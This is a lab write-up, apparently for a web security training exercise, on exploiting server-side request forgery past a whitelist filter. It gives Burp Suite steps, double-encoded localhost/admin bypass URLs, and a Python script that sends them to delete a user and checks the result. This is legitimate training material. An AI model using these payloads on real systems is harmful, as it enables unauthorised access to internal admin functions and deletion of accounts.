# 2.0 Lab 2: SSRF with whitelist-based input filter

## 2.1 Burp suite:

1. Network Intercept on a webpage (intercept on)

Graphical user interface, text

Description automatically generated

2. Send Result to Repeater (intercept off)

Using Repeater to find out localhost and admin page.

Graphical user interface, text, application, email

Description automatically generated

Graphical user interface, text, application, email

Description automatically generated

Graphical user interface, text, application, email

Description automatically generated

3.Find Out

Website (user site):

http://stock.weliketoshop.net:8080/product/stock/check?productId=1&storeId=1

Localhost:

http://localhost%2523$@stock.weliketoshop.net

Admin:

<http://localhost%2523$@stock.weliketoshop.net/admin>

Graphical user interface, text

Description automatically generated

Graphical user interface, text, application, email

Description automatically generated

4. Show result:

Action (Hyperlink):

<http://localhost%2523$@stock.weliketoshop.net/admin/delete?username=wiener>

\*\*Note: Hyperlink to enable delete button function

Graphical user interface, text, application, email

Description automatically generated

Result:

Graphical user interface, website

Description automatically generated

## 2.2 Solve with Python Script:

Github Repositorie: https://github.com/wongyaochang-123/SSRFWhitelist

Script Code:

import requests

import sys

import urllib3

urllib3.disable\_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

def delete\_user(url):

delete\_user\_ssrf\_payload = 'http://localhost%2523$%2525@stock.weliketoshop.net/admin/delete?username=carlos'

check\_stock\_path = "/product/stock"

params = {'stockApi': delete\_user\_ssrf\_payload}

r = requests.post(url + check\_stock\_path, data=params, verify=False, proxies=proxies)

# Check if user was deleted

admin\_page\_ssrf\_payload = 'http://localhost%2523$%2525@stock.weliketoshop.net/admin'

params2 = {'stockApi': admin\_page\_ssrf\_payload}

r = requests.post(url + check\_stock\_path, data=params2, verify=False, proxies=proxies)

if 'Carlos' not in r.text:

print("(+) Successfully deleted user!")

else:

print("(-) Error. User deleted unsuccessfully")

def main():

if len(sys.argv) != 2:

print("(+) Usage: %s <url>" % sys.argv[0])

print("(+) Example: %s www.example.com" % sys.argv[0])

sys.exit(-1)

url = sys.argv[1]

print("(+) Deleting user...")

delete\_user(url)

if \_\_name\_\_ == "\_\_main\_\_":

main()

Result:

Text

Description automatically generated